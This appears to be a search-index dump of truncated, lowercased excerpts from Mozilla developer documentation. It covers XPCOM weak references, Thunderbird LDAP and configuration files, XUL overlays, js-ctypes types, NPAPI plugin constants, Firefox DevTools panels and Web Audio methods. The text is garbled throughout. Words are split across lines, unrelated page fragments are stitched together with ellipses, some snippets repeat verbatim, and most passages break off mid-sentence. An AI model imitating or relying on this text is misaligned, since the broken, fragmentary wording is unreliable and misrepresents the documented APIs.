ips, and you should consider it when an owning reference is inappropriate, but where a raw pointer might end up dangling. how do i use it? here's an example. the new and interesting things are highlighted. #include "nsweakptr.h" #include "nsiweakreferenceutils.h" // ... // it's easy to get a weak reference... nsweakptr weakptr = do_getweakreference(afooptr); // ... { // ...but to use my weak...
...w this sounds more convenient, but the global routine ns_getweakreference makes it easy to go from the target object to the weak reference; and nsiweakreference::queryreferent gives you the same functionality as queryinterface for getting back. additionally, nscomptr now supports the new key do_queryreferent to simplify life even further. how do i make a class support weak references? in javascr
ipt, just make sure that your queryinterface method returns your object for the nsisupportsweakreference interface, and you're set; xpconnect does all the work for you. just roll in nssupportsweakreference, a mix-in class that does all the work, and adjust your queryinterface accordingly, e.g., //... #include "nsweakreference.h" class nsfoo : public nsifoo, ..., public nssupportsweakreference { .
...owning reference, but arrange to release it out-of-band; this must be before the destructor, which would otherwise never be called. you might hold a raw pointer (without addrefing and releaseing it), and avoid using it in cases where it might dangle. see also the source xpcom/base/nsiweakreference.idl xpcom/glue/nsweakreference.h xpcom/glue/nsweakreference.cpp xpcom ownersh
ip guidelines using nscomptr original document information author: scott collins last updated date: september 23, 2000 copyright information: portions of this content are (c) 1998-2007 by individual mozilla.org contributors; content available under a creative commons license | details. ...
LDAP Support
n unit as the ldap attribute. you can also insert arbitrary text to clarify the ldap attribute. i.e. "department: [ou]" would yield a type down entry that looks like "john smit department: client engineering". ldap schema the following table summarizes the schema used by thunderbird to map between ldap attributes and attributes within the the address book. some notes about the relationsh
ip: there is a many to one relationsh
ip between ldap attributes and its address book counterpart. there is a one to one relationsh
ip between a address book attribute and its ldap counterpart. if there are mult
iple entries for a address book attribute, the first takes precedence. these relationsh
ips ensure: generality is maintained when mapping from ldap attributes to address book. consistent r...
...ere is a many to one relationsh
ip between ldap attributes and its address book counterpart. there is a one to one relationsh
ip between a address book attribute and its ldap counterpart. if there are mult
iple entries for a address book attribute, the first takes precedence. these relationsh
ips ensure: generality is maintained when mapping from ldap attributes to address book. consistent round tr
ipping when editing address book attributes which are stored on an ldap server. address book attribute ldap attribute firstname givenname lastname sn lastname surname displayname cn displayname commonname displayname displayname nickname xmozillanickname primaryemail mail secondemail...
...er facsimiletelephonenumber pagernumber pager pagernumber pagerphone cellularnumber mobile cellularnumber cellphone cellularnumber carphone workaddress postofficebox workaddress streetaddress workcity l workcity locality workstate st workstate region workz
ipcode postalcode workz
ipcode z
ip workcountry countryname jobtitle title department ou department orgunit department department department departmentnumber company o company company workcountry countryname _aimscreenname nscpaimscreenname webpage1 workurl...
...see bug #119291 for more details. original document information author(s): scott macgregor copyright information: portions of this content are (c) 1998-2010 by individual mozilla.org...
Thunderbird Configuration Files
to access the config editor, go to tools > options or do thunderbird > preferences. if you are on mac os x, and on linux do edit > preferences on, select the advanced options panel, click on the general tab, and click on config editor. this will display a list of used preferences, as well as a search bar at the top. double-click on a preference to change its value. ...
...editor. this will display a list of used preferences, as well as a search bar at the top. double-click on a preference to change its value. to do add a new preference, open the context menu (right-click) on any existing preference, go to the new menu, and select the type of preference. some preferences may require that you restart thunderbird in order to take effect. configuration files some t
ips and tricks require that you edit configuration files manually. there are three files you should know about: userchrome.css used to change the appearance of the browser. usercontent.css used to change the appearance of web pages. user.js used to change various preferences. all these files are plain text files you need to create in your profile folder and can be edited using a standard t...
...preferences. user.js this is the additional preferences file for thunderbird and is located in your profile folder. the file does not exist by default, so you need to create it before you can start adding your preferences. in almost all cases, edits made using the user.js can be done via the config editor, which is the recommended method. windows users: if you know how to create a file, just sk
ip this section. before you can create the file, you must make sure that you can see the file type extensions in windows. start explorer (just click on the my computer icon on your desktop) and select tools > folder options. click the view tab and uncheck the hide extensions for known file types option. now, go to your profile folder and select file > new > text document. the default name new text d...
...fault name new text document.txt should be displayed. change the name to user.js (click yes on the file type warning that appears). linux users: use your own preferred method to create user.js in the profile folder. if you don't already have one, consider running the following code in a terminal. $ cd $profile # where $profile is your profile folder $ touch user.js # create the empty javascr
ipt file alternatively, open a files window (if you're on ubuntu. this will depend on which distribution you use), navigate to the profile folder, and right-click in some empty space on the right pane, then select new document > empty document. the default name untitled document should appear, with focus on the filename. enter user.js to change the document's name. ...
Adding items to the Folder Pane
that container will have 3 child-items, the numbers 1, 2, and 3. clicking on those items will display the number in the main viewing pane of thunderbird. first, some necessary background on how the folder pane constructs the data it displays. the folder pane tracks modifications to a user's folders and accounts. ...
...ts the map-generator for the current mode, and that generator returns the necessary data for the folder pane's display. this data is returned in the form of an array of folder-tree-items. listening for folder pane rebuilds every time the folder pane rebuilds, it fires a "maprebuild" event, which is the ideal opportunity for extensions to step in and modify the display data. ...
...is._children.push(new numberrow(i)); } return this._children; }, getproperties: function gne_getprops() { // put your css attributes here }, command: function gne_command() { // just going to alert, to do something here components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.ns
ipromptservice) .alert(window, null, this.text); } }; second, our child items (the numbers 1, 2, and 3) are copies of the following prototype: function numberrow(anumber) { this._number = anumber; } numberrow.prototype = { get id() { return "numbers-child-row-" + this._number; }, get text() { return this._number; }, level: 1, op...
...thus, our _insert function becomes _insert: function gne__insert() { // only insert our nodes into the "all" mode if (gfoldertreeview.mode !=...
Building a Thunderbird extension 5: XUL
warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for newer information. thunderbird's user interface is written in xul and javascr
ipt. xul is an xml grammar that provides user interface widgets like buttons, menus, toolbars, trees etc. we add widgets by inserting new xul dom elements into the application window and modify them using scr
ipts and attaching event handlers. while xul provides the elements of the user interface, actions are written in javascr
ipt. for our first extension, we will add some text to the thunderbird status bar. the status bar is implemented in a xul file called messenger.xul, which can be found in the chrome/messenger/content/messenger folder which is packaged inside the omni.ja a...
...called messenger.xul, which can be found in the chrome/messenger/content/messenger folder which is packaged inside the omni.ja archive. to view this xul file use the dom inspector extension (no longer supported) or look inside the omni.ja archive, which is located in the thunderbird program folder. omni.ja can be easily browsed by copying the file to a different location and renaming it to omni.z
ip. if you have trouble with one z
ip manager (like 7z
ip) try another (like winrar). in messenger.xul we find the status bar, which looks something like this.: <statusbar id="status-bar" ...> ... <statusbarpanel>s ... </statusbar> <statusbar id="status-bar"> is a "merge point" for a xul overlay. xul overlays are a way of attaching other ui widgets to a xul document at run time. a xul overlay is a...
...nce without modifying the installation files. this also enables version independence between thunderbird and thunderbird extensions. example xul overlay document create a new file called myhelloworld.xul within the content folder you created earlier with the following content: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt type="application/javascr
ipt" src="chrome://myfirstext/content/overlay.js"/><!-- a reference to your javascr
ipt file --> <statusbar id="status-bar"> <statusbarpanel id="my-panel" label="date"/> </statusbar> </overlay> the <statusbar> widget named status-bar specifies the merge point within the application window that we want to attach to. when parsing our overlay file, the xul engine will ...
...r> tag and merge them with the original xul document's <statusbar> tag. in the example above we have defined a new <statusbarpanel> item (that can be referred to as my-panel) which will create a new instance of this widget type and add it at the end of the statusbar. in thunderbird it will appear as a label at the right side of thunderbird's statusbar and display "date". we have also added a <scr
ipt> tag that contains a reference to the javascr
ipt file overlay.js. in the next section you will learn how to use javascr
ipt to modify your label so that it shows the current date. the overlay.js file will be created in a later section and your add-on will still work if the file is missing. for now you can ignore this line, but remember that this is how you reference a javascr
ipt file. << p...
Declaring types
the windows-standard dword type name for unsigned 32-bit integers. to declare this type, you can simply do: const dword = ctypes.uint32_t; after doing this, dword is a ctype that can then be used to represent 32-bit unsigned integers. structures structures are declared using the ctypes.structtype() constructor. ...
...imply do: const dword = ctypes.uint32_t; after doing this, dword is a ctype that can then be used to represent 32-bit unsigned integers. structures structures are declared using the ctypes.structtype() constructor. this method accepts as input the name of the structure and an array of field descr
iptors, each describing one field in the structure. you can, optionally, leave out the field descr
iptor array; this creates an opaque structure whose contents are not defined. note: at present, there isn't a way to specify that an array's c equivalent was declared as a packed structure; that is, using #pragma pack. field descr
iptors each field descr
iptor is comprised of a field name and its data type, represented as a string and a ctype object, respectively. the format, then, looks like this:...
...tion, which returns a char * and accepts a pointer to a tm structure. const asctime = lib.declare("asctime", ctypes.default_abi, ctypes.char.ptr, struct_tm.ptr); var thetime = new struct_tm; thetime.tm_hour = 3; thetime.tm_min = 15; ... var timestr = asctime(thetime.address()); // pass a pointer to the tm struct var jsstring = timestr.readstring(); // convert the c string to javascr
ipt the last line converts the c string returned by the libc asctime() function into a javascr
ipt string by calling the cdata readstring() method. for another example see here: getcursorpos opaque structures an opaque structure is one whose content fields are not known, or are not intended to be accessed directly. they can also be used to handle forward declarations, by declaring a structure as...
...ucttype("anotherstruct", [ {field1: opaque.ptr} ]); somestructure.define([ { ptrtoanotherstruct: anotherstruct.ptr } ]); as you see here, the two structure types here contain pointers to each other; by making one of them opaque at first, you can declare the fields on the other one, then define the fields on the first one afterward. this works around the lack of true forward references in javascr
ipt. structures with next field it is common to see structures with a "next" field that is a pointer to itself. in order to accomplish this you can either set the type of next to ctypes.voidptr_t, or to be more accurate, use the define technique: var struct = ctypes.structtype('struct'); struct.define([{ next: struct.ptr }]); arrays to declare a new array type, you use the ctypes.arraytype() me...
Using js-ctypes
before you can use js-ctypes, you need to import the ctypes.jsm code module. this is as simple as including the following line of code in the desired javascr
ipt scope: components.utils.import("resource://gre/modules/ctypes.jsm") loading a native library once you've imported the code module, you can call the ctypes.open() method to load each native library you wish to use. on windows, for example, you might load the system user32 library like this: var lib = ctypes.open("user32.dll"); on mac os x, you can load the core foundation library from the core foundation framework like this: var corefoundation = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); the returned object is a library object that you use to declare functions and data types for use w...
...note that this only works correctly if the string is in fact under 256 characters; if it's longer, this will fail spect...
... ctypes.uint32_t, /* alert param */ ctypes.int16_t); /* item hit */ var hit = 0; var msgerr = makestr("carbon says..."); var msgexp = makestr("we just called the standardalert carbon function from javascr
ipt!"); var err = stdalert(1, msgerr, msgexp, 0, hit); carbon.close(); the makestr() function is a utility routine that takes as input a standard javascr
ipt string and returns a carbon-style "pascal" string, which is a length byte followed by the characters of the string itself. note that this only works correctly if the string is in fact under 256 characters; if it's longer, this will fail spectacularly. in line 9, the carbon library is loaded from the system's carbon framework. line 11 declares the stdalert() function, which will call the carbon...
...s ); // helper functions function makecfstr(jsstr) { // js str is just a string // returns a cfstr that must be released with cfrelease when done return cfstringcreatewithcharacters(null, jsstr, jsstr.length); } // main var mycfstrs = { head: makecfstr('core foundation says...'), body: makecfstr('we just called the equivalent of the "standardalert carbon function" for 64bit osx from javascr
ipt!') }; var rez = cfusernotificationdisplaynotice(0, kcfusernotificationcautionalertlevel, null, null, null, mycfstrs.head, mycfstrs.body, null); console.info('rez:', rez, rez.tostring(), uneval(rez)); // cfusernotificationdisplaynotice does not block till user clicks dialog, it will return immediately if (rez.tostring() == '0') { console.log('notification was succesfully shown!!'); } else {...
CData
a cdata object represents a c value or function located in memory. method overview methods available on all cdata objects cdata address() string tosource() string tostring() properties properties of all cdata objects property type descr
iption constructor ctype the data type of the cdata object, as a ctype. read only. note: this is never ctypes.void_t or an array type with an unspecified length. value object the javascr
ipt equivalent of the cdata object's value. this will throw a typeerror exception if the value can't be converted. methods available on all cdata objects address() returns a cdata object of the pointer type ctypes.pointertype(dataobject.constructor) whose value points ...
...the object. this provides a way to get a pointer to the actual data of the c value represented by the cdata object. cdata address() parameters none. return value a cdata object of the pointer type ctypes.pointertype(dataobject.constructor) whose value points to the c object referred to by the object. tosource() returns the string "t(arg)", where t and arg are implementation-defined javascr
ipt expressions intended to represent the type of the cdata object and its value, respectively. string tosource() parameters none. return value a string that, ideally, should be able to be evaluated to produce a new cdata object containing a copy of the original object. however, this only works if the object's type happens to be bound to an appropriate name in scope. in theory, in other words...
...to represent the type of the cdata object and its value, respectively. string tosource() parameters none. return value a string that, ideally, should be able to be evaluated to produce a new cdata object containing a copy of the original object. however, this only works if the object's type happens to be bound to an appropriate name in scope. in theory, in other words, the following javascr
ipt expression should return a copy of the original cdata object: eval(dataobject.tosource()); tostring() returns a string identifying the data. string tostring(); parameters none. return value a string identifying the data. methods available on string objects these methods must be called on objects that are arrays or pointers to 8-bit or 16-bit character or integer types, terminated b...
...object.tosource()); tostring() returns a string identifying the data. string tostring(); parameters none. return value a string identifying the data. methods available on string objects these methods must be called on objects that are arrays or pointers to 8-bit or 16-bit character or integer types, terminated by a null character. readstring() converts a character array to a javascr
ipt string. 8-bit strings are assumed to be encoded as utf-8. if the 8-bit string contains invalid encoded character, a typeerror exception is thrown. string readstring(); parameters none. return value a new string object that is a copy of the original string contents. readstringreplacemalformed() converts a character array to a javascr
ipt string. 8-bit strings are assumed to be encoded a...
PointerType
is can be any ctype object to declare the new type as a pointer to that type. return value a ctype object describing the newly created data type. exceptions thrown typeerror thrown if the parameter isn't a ctype. examples creating a type "pointer to 32-bit integer" looks like this: var intptrtype = new ctypes.pointertype(ctypes.int32_t); properties property type descr
iption targettype ctype the type of object the pointer points to. read only. properties inherited from ctype these properties are available on all ctype objects. property type descr
iption name string the type's name. read only. for primitive types, this is just the name of the corresponding c type. for structure and opaque pointer types...
... note: ctypes.void_t.size is undefined. method overview methods inherited from ctype ctype array([n]) string tosource() string tostring() pointertype cdata syntax cdata pointertype(); pointertype is pointertype ctype. return value a cdata representing the newly allocated pointer. ...
...this will throw a typeerror exception if the value can't be converted. ...
...this will throw a typeerror exception if the value can't be converted. ...
Constants - Plugins
nperr_generic_error 1 error with no specific error code occurred. nperr_invalid_instance_error 2 invalid instance passed to the plug-in. nperr_invalid_functable_error 3 function table invalid. nperr_module_load_failed_error 4 loading of plug-in failed. ...
...ommunicator do not match. nperr_invalid_param 9 parameter missing or invalid. nperr_invalid_url 10 url missing or invalid. nperr_file_not_found 11 file missing or invalid. nperr_no_data 12 stream contains no data. nperr_stream_not_seekable 13 seekable stream expected. result codes constant value descr
iption npres_done 0 (most common): completed normally; all data was sent to the instance. npres_network_err 1 stream failed due to problems with network, disk i/o, lack of memory, or other problems. npres_user_break 2 user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-p...
...ance. npres_network_err 1 stream failed due to problems with network, disk i/o, lack of memory, or other problems. npres_user_break 2 user canceled stream directly by clicking the stop button or indirectly by some action such as deleting the instance or initiating higher-priority network operations. plug-in version constants constant value descr
iption np_version_major 0 major version number; changes with major code release number. np_version_minor 22 minor version number; changes with point release number. version feature constants npvers constant: version feature information value descr
iption npvers_has_streamoutput 8 streaming data. npvers_has_notification 9 ...
... npvers_has_streamoutput 8 streaming data. npvers_has_notification 9 notification of completion. npvers_has_liveconnect 9 liveconnect. npvers_win16_has_liveconnect 9 liveconnect (win16). npvers_68k_has_liveconnect 11 liveconnect (68k). npvers_has_windowless 11 windowless plug-in. npvers_has_xpconnect_scr
ipting 13 plug-in is scr
iptable using xpconnect. npvers_has_npruntime_scr
ipting 14 plug-in is scr
iptable using npruntime. npvers_has_form_values 15 nppvformvalue nppvariables are supported. npvers_has_popups_enabled_state 16 the npn_pushpopupsenabledstate() and npn_poppopupsenabledstate() functions are supported. npvers_has_response_headers...
Use a source map - Firefox Developer Tools
in these situations, it's much easier to debug the original source, rather than the source in the transformed state that the browser has downloaded. a source map is a file that maps from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. ...
... in these situations, it's much easier to debug the original source, rather than the source in the transformed state that the browser has downloaded. a source map is a file that maps from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. ...
... in these situations, it's much easier to debug the original source, rather than the source in the transformed state that the browser has downloaded. a source map is a file that maps from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. ...
...u must: generate the source map include a comment in the transformed file, that points to the source map. the comment's syntax is like this: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map in the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html. this page loads a source called "main.js" that was originally written in coffeescr
ipt and compiled to javascr
ipt. the compiled source contains a comment like this, that points to a source map: //# sourcemappingurl=main.js.map in the debugger's source list pane, the original coffeescr
ipt source now appears as "main.coffee", and we can debug it just like any other source. ...
Aggregate view - Firefox Developer Tools
ocated at the top of the panel: there's also a box labeled "filter" at the top-right of the pane. you can use this to filter the contents of the snapshot that are displayed, so you can quickly see, for example, how many objects of a specific class were allocated. type this is the default view, which looks something like this: it groups the things on the heap into types, including: javascr
ipt objects: such as function or array dom elements: such as htmlspanelement or window strings: listed as "strings" javascr
ipt sources: listed as "jsscr
ipt" internal objects: such as "js::shape". these are prefixed with "js::". each type gets a row in the table, and rows are ordered by the amount of memory occupied by objects of that type. for example, in the screenshot above you can see that ...
... the "total count" column shows you the number of objects of each category that are currently allocated. ...
..., comprising 93% of the total heap usage, were allocated in a function at line 35 of "alloc.js", or in functions called by that function we can use the disclosure triangle to drill down the call tree, to find the exact place your code made those allocations. it's easier to explain this with reference to a simple example. for this we'll use the dom allocation example. this page simply runs a scr
ipt that creates a large number of dom nodes (200 htmldivelement objects and 4000 htmlspanelement objects). let's get an allocation trace: open the memory tool check "record call stacks" load https://mdn.github.io/performance-scenarios/dom-allocs/alloc.html take a snapshot select "view/aggregate" select "group by/call stack" you should see something like this: this is telling us that...
...ll tree towards the top level. let's see what the example looks like when we select "inverted call stack": now at the top we can immediately see the createtoolbarbutton() call accounting for 89% of the heap usage in our page. (no stack available) in the example above you'll note that 7% of the heap is marked "(no stack available)". this is because not all heap usage results from your javascr
ipt. for example: any scr
ipts the page loads occupy heap space sometimes an object is allocated when there is no javascr
ipt on the stack. for example, dom event objects are allocated before the javascr
ipt is run and event handlers are called. many real-world pages will have a much higher "(no stack available)" share than 7%. ...
Call Tree - Firefox Developer Tools
statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it. in this article, we'll use the output of a simple program as an example. ...
...statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it. in this article, we'll use the output of a simple program as an example. if you want to get the program to experiment with your profile, you can find it here. ...
...gram - the same profile, in fact - in the documentation page for the flame chart. the screenshot below shows the output of a program that compares three sorting algorithms - bubble sort, selection sort, and quicksort. to do this, it generates some arrays filled with random integers and sorts them using each algorithm in turn. we've zoomed into the part of the recording that shows a long javascr
ipt marker: the call tree presents the results in a table. each row represents a function in which at least one sample was taken, and the rows are ordered by the number of samples taken while in that function, highest to lowest. samples is the number of samples that were taken when we were executing this particular function, including its children (the other functions called by this particular f...
... cost is coming from repeated calls to console.log(): function sort(unsorted) { console.log(bubblesort(unsorted)); console.log(selectionsort(unsorted)); console.log(quicksort(unsorted)); } it would certainly be worthwhile considering more efficient ways of implementing this. one thing to be aware of here is that idle time is classified as gecko, so parts of your profile where your javascr
ipt isn't running will contribute gecko samples. these aren't relevant to the performance of your site. by default, the call tree doesn't split platform data out into separate functions, because they add a great deal of noise, and the details are not likely to be useful to people not working on firefox. if you want to see the details, check "show gecko platform data" in the settings. using an in...
Frame rate - Firefox Developer Tools
order to update and repaint the screen. frame rate is most obviously applicable to animations: if the frame rate is too low, an animation will have a jerky appearance, while a faster frame rate will be smoother. but frame rate is also useful as a general measure of a site's responsiveness as the user interacts with it. for example, if moving the mouse over some page element triggers some javascr
ipt that changes the element's appearance, and that triggers a reflow and a repaint, then all this work needs to be completed in that frame. if it takes too long for the browser to process the frame, then the browser will appear momentarily unresponsive (janky). similarly, if scrolling through a page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scro...
...teraction with the site more enjoyable and engaging. a frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event. however, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden d
ips in the frame rate which cause the site to freeze. frame rate graph the frame rate graph is found in the recording overview part of the performance tool. it takes a timestamp when the browser finishes a frame, and uses this to keep track of the frame rate over the course of the recording. the x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the ...
...y, but there are three spots where frame rate collapses for tens of milliseconds. this would certainly cause a noticeable stutter for any animations that were playing in the page. the frame rate graph is correlated with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing javascr
ipt. if we select one of these slices of the recording, the main waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem: we have a javascr
ipt function from a click event that's blocking the main thread for 170 milliseconds. which function, though? switch to the flame chart to see the call stack at that point: the offending function is called do...
...ng the main thread for 170 milliseconds. which function, though? switch to the flame chart to see the call stack at that point: the offending function is called dopointlesscomputations(), and it's defined in "main.js". to fix it, we might consider splitting it into pieces and running the pieces inside requestanimationframe, or even running the entire function in a worker. the intensive javascr
ipt article shows how you can use strategies like this to fix responsiveness problems caused by long-running synchronous javascr
ipt. ...
Performance - Firefox Developer Tools
the performance tool gives you insight into your site's general responsiveness, javascr
ipt and layout performance. with the performance tool you create a recording, or profile, of your site over a period of time. the tool then shows you an overview of the things the browser was doing to render your site over the profile, and a graph of the frame rate over the profile. ...
...recording, or profile, of your site over a period of time. the tool then shows you an overview of the things the browser was doing to render your site over the profile, and a graph of the frame rate over the profile. you get four sub-tools to examine aspects of the profile in more detail: the waterfall shows the different operations the browser was performing, such as executing layout, javascr
ipt, repaints, and garbage collection the call tree shows the javascr
ipt functions in which the browser spent most of its time the flame chart shows the javascr
ipt call stack over the course of the recording the allocations view shows the heap allocations made by your code over the course of the recording. this view only appears if you checked "record allocations" in the performance tool settings...
...ations" in the performance tool settings. getting started ui tour to find your way around the performance tool, here's a quick tour of the ui. how to basic tasks: open the tool, create, save, load, and configure recordings components of the performance tool frame rate understand your site's overall responsiveness. call tree find bottlenecks in your site's javascr
ipt. allocations see the allocations made by your code over the course of the recording. waterfall understand the work the browser's doing as the user interacts with your site. flame chart see which javascr
ipt functions are executing, and when, over the course of the recording. scenarios animating css properties uses the waterfall to understand how the browser updates a page,...
... waterfall understand the work the browser's doing as the user interacts with your site. flame chart see which javascr
ipt functions are executing, and when, over the course of the recording. scenarios animating css properties uses the waterfall to understand how the browser updates a page, and how animating different css properties can affect performance. intensive javascr
ipt uses the frame rate and waterfall tools to highlight performance problems caused by long-running javascr
ipt, and how using workers can help in this situation. ...
Settings - Firefox Developer Tools
the menu includes settings to control the location of the developer tools. you can choose between the default setting at the bottom of the windows, or move the tools to the left or right side of the screen. these settings are particularly useful if you have a widescreen monitor. you can also choose to open the tools in a separate window. show split console adds a section at the bottom of the tools showing the console. ...
...s used, this enables the style editor to display the original, preprocessor, sources rather than the generated css. learn more about style editor support for css source maps. with this setting checked, the page inspector rules view will also provide links to the original sources. autocomplete css enable the style editor to offer autocomplete suggestions. screenshot behavior screenshot to cl
ipboard when you click the icon for the screenshot tool, copy the screenshot image to the cl
ipboard (the image will still be saved to your downloads directory). new in firefox 53. play camera shutter sound when you click the icon for the screenshot tool, play a shutter sound. new in firefox 53. editor preferences preferences for the codemirror source editor, which is included in firefox and us...
... if it is set, caching will be disabled whenever you reopen the devtools. caching is re-enabled when the devtools are closed. note that service workers are not affected by this option. note that this option was called "disable cache" in firefox versions previous to 49, but it was renamed to make it clearer that this affects the http cache, and not service workers/the cache api. disable javascr
ipt reload the current tab with javascr
ipt disabled. enable service workers over http enable service worker registrations from insecure websites. enable browser chrome and add-on debugging toolboxes enable you to use developer tools in the context of the browser itself, and not only web content. enable remote debugging enable the developer tools to debug remote firefox instances. enable work...
...enable browser chrome and add-on debugging toolboxes enable you to use developer tools in the context of the browser itself, and not only web content. enable remote debugging enable the developer tools to debug remote firefox instances. enable worker debugging enable a panel within the debugger to debug workers. note: this option got removed from the ui in firefox 56, because this version sh
ips with a new debugger ui, but it can still be enabled for the old ui by setting the preference devtools.debugger.workers to true. ...
about:debugging (before Firefox 68) - Firefox Developer Tools
an add-on from an xpi, are: you don't have to rebuild an xpi and reinstall when you change the add-on's code you can load an add-on without signing it and without needing to disable signing. updating a temporary add-on if you install the add-on in this way, what happens when you update the add-on's files? before firefox 48 if you change files that are loaded on demand, like content scr
ipts or popups, then changes you make are picked up automatically, and you'll see them the next time the content scr
ipt is loaded or the popup is shown. if you change files that stay loaded the whole time, like background scr
ipts, then you can pick up changes you've made by disabling and then re-enabling the add-on in the about:addons page. if you change files that are only parsed at install time,...
...ange files that are only parsed at install time, like the manifest.json file, you'll need to restart firefox, then load the add-on again. note that before firefox 48, loading the add-on again by pressing "load temporary add-on" without restarting firefox does not work. ...
...oad the add-on again. note that before firefox 48, loading the add-on again by pressing "load temporary add-on" without restarting firefox does not work. firefox 48 onwards from firefox 48 onwards: as before: if you change files that are loaded on demand, like content scr
ipts or popups, then changes you make are picked up automatically, and you'll see them the next time the content scr
ipt is loaded or the popup is shown. there's a better way to handle the other cases: click the "reload" button next to the "debug" button. this does what it says: reloading any persistent scr
ipts, such as background scr
ipts parsing the manifest.json file again, so changes to permissions, content_scr
ipts, browser_action or any other keys will take effect. note that in firefox 49 onwards...
...ed after being idle. this section uses a simple serviceworker demo, hosted at https://serviceworke.rs/push-simple/. debugging workers for a service worker, if it is already running, you'll see two buttons next to it, labeled "debug" and "push". if it's not already running, you'll see one button, labeled "start": click this to start the service worker. clicking "debug" connects the javascr
ipt debugger and console to this worker. you can set breakpoints, step through code, watch variables, evaluate code, and so on: registering workers at first, you won't see any workers listed under service workers or shared workers. as soon as a worker is registered, the listing is updated: before firefox 47, service workers were only shown when they were actually running. unregistering ser...
about:debugging - Firefox Developer Tools
the remote device. note: if the version of firefox on your remote device is more than one major version older than the version running on your computer, you may see a message like the following: in firefox 76 and above, the message can look like the following: see connection for firefox for android 68 for more information. in the image above, there are three tabs open: network or cache rec
ipe, nightly home, and about nightly. to debug the contents of one of these tabs, click the inspect button next to its title. when you do, the developer tools open in a new tab. above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via usb, to firefox preview, on a pixel 2, as well as the title of ...
... extension id the temporary id assigned to the extension. internal uuid the internal uuid assigned to the extension. manifest url if you click the link, the manifest for this extension is loaded in a new tab. ...
...ion. manifest url if you click the link, the manifest for this extension is loaded in a new tab. updating a temporary extension if you install an extension in this way, what happens when you update the extension? if you change files that are loaded on demand, like content scr
ipts or popups, then changes you make are picked up automatically, and you'll see them the next time the content scr
ipt is loaded or the popup is shown. for other changes, click the reload button. ...
...u install an extension in this way, what happens when you update the extension? if you change files that are loaded on demand, like content scr
ipts or popups, then changes you make are picked up automatically, and you'll see them the next time the content scr
ipt is loaded or the popup is shown. for other changes, click the reload button. this does what it says: reloads any persistent scr
ipts, such as background scr
ipts parses the manifest.json file again, so changes to permissions, content_scr
ipts, browser_action or any other keys take effect installed extensions the permanently installed extensions are listed in the next section, extensions. for each one, you see something like the following: the inspect button, and the extension id and internal uuid fields are the s...
Firefox Developer Tools
this section contains detailed guides to all of the tools as well as information on how to debug firefox for android, how to extend devtools, and how to debug the browser as a whole. if you have any feedback on devtools, or want to contribute to the project, you can join the devtools community. ...
...opment and using developer tools, our learning docs will help you -- see getting started with the web and what are browser developer tools? for good starting points. the core tools you can open the firefox developer tools from the menu by selecting tools > web developer > toggle tools or use the keyboard shortcut ctrl + shift + i or f12 on windows and linux, or cmd + opt + i on macos. the ell
ipsis menu on the right-hand side of developer tools contains several commands that let you perform actions or change tool settings. this button only appears when there are mult
iple iframes on a page. click it to display a list of the iframes on the current page and select the one with which you want to work. click this button to take a screenshot of the current page. (n...
...ls settings. the menu also includes links to the documentation for firefox web tools and the mozilla community. closes the developer tools page inspector view and edit page content and layout. visualise many aspects of the page including the box model, animations, and grid layouts. web console see messages logged by a web page and interact with the page using javascr
ipt. javascr
ipt debugger stop, step through, examine, and modify the javascr
ipt running in a page. network monitor see the network requests made when a page is loaded. performance tools analyze your site's general responsiveness, javascr
ipt, and layout performance. responsive design mode see how your website or app will look and behave on different devices and network typ...
.... connecting to other browsers connect the developer tools to chrome on android and safari on ios. debugging the browser by default, the developer tools are attached to a web page or web app. but you can also connect them to the browser as a whole. this is useful for browser and add-on development. browser console see messages logged by the browser itself and by add-ons, and run javascr
ipt code in the browser's scope. browser toolbox attach the developer tools to the browser itself. migrating from firebug firebug has come to the end of its lifespan (see firebug lives on in firefox devtools for details of why), and we appreciate that some people will find migrating to another less familiar set of devtools to be challenging. to ease a transition from firebug to the firefox dev...
AudioContext.createMediaElementSource() - Web APIs
the createmediaelementsource() method of the audiocontext interface is used to create a new mediaelementaudiosourcenode object, given an existing html <audio> or <video> element, the audio from which can then be played and man
ipulated. for more details about media element audio source nodes, check out the mediaelementaudiosourcenode reference page. syntax var audioctx = new audiocontext(); var source = audioctx.createmediaelementsource(mymediaelement); parameters mymediaelement an htmlmediaelement object that you want to feed into an audio processing graph to man
ipulate. returns a mediaelementaudiosourcenode. example this simple example creates a source from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into th...
...osition divided by overall window height. you can therefore increase and decrease the volume of the playing music by moving the mouse pointer up and down. note: you can also view this example running live, or view the source. ...
... height. you can therefore increase and decrease the volume of the playing music by moving the mouse pointer up and down. note: you can also view this example running live, or view the source. ...
...crease and decrease the volume of the playing music by moving the mouse pointer up and down. note: you can also view this example running live, or view the source. ...
AudioParam.setTargetAtTime() - Web APIs
ttime. if it is less than or equal to audiocontext.currenttime, the parameter will start changing immediately. timeconstant the time-constant value, given in seconds, of an exponential approach to the target value. the larger this value is, the slower the transition will be. returns a reference to this audioparam object. some older browser implementations of this interface return void. descr
iption the change starts at the time specified in starttime and exponentially moves towards the value given by the target parameter. the decay rate as defined by the timeconstant parameter is exponential; therefore the value will never reach target completely, but after each timestep of length timeconstant, the value will have approached target by another 1-e-1?63.2%1 - e^{-1} \approx 63.2%. for th...
